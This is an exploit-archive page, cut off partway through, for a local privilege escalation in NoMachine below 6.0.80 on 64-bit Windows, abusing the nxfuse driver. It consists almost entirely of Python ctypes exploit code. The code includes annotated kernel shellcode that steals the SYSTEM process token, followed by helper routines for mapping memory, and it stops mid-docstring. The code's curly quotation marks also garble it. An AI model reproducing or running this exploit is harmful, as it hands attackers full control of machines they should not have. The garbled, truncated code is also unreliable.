Exploits / Vulnerability Discovered : 2018-02-22 |
Type : local |
Platform : windows_x86-64
This exploit / vulnerability Nomachine < 6.0.80 (x64) nxfuse privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
from ctypes import *
from ctypes.wintypes import *
import struct
import sys
import os
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
STATUS_INVALID_HANDLE = 0xC0000008
shellcode_len = 90
s = “”
s += “\x65\x48\x8B\x04\x25\x88\x01\x00” #mov rax, [gs:0x188]
s += “\x00”
s += “\x48\x8B\x40\x70” #mov rax, [rax + 0x70]
s += “\x48\x8B\x98\x90\x02\x00\x00” #mov rbx, [rax + 0x290]
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x98\x80\x01\x00\x00” #cmp [rax + 0x180], rbx
s += “\x75\xEA” #jne Loop1
s += “\x48\x89\xC1” #mov rcx, rax
s += “\xBA\x04\x00\x00\x00” #mov rdx, 0x4
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x90\x80\x01\x00\x00” #cmp [rax + 0x180], rdx
s += “\x75\xEA” #jne Loop2
s += “\x48\x8B\x80\x08\x02\x00\x00” #mov rax, [rax + 0x208]
s += “\x48\x89\x81\x08\x02\x00\x00” #mov [rcx + 0x208], rax
s += “\x48\x31\xC0” #xor rax,rax
s += “\xc3” #ret
shellcode = s
”’
* Convert a python string to PCHAR
@Param string – the string to be converted.
@Return – a PCHAR that can be used by winapi functions.
”’
def str_to_pchar(string):
pString = c_char_p(string)
return pString
”’
* Map memory in userspace using NtAllocateVirtualMemory
@Param address – The address to be mapped, such as 0x41414141.
@Param size – the size of the mapping.
@Return – a tuple containing the base address of the mapping and the size returned.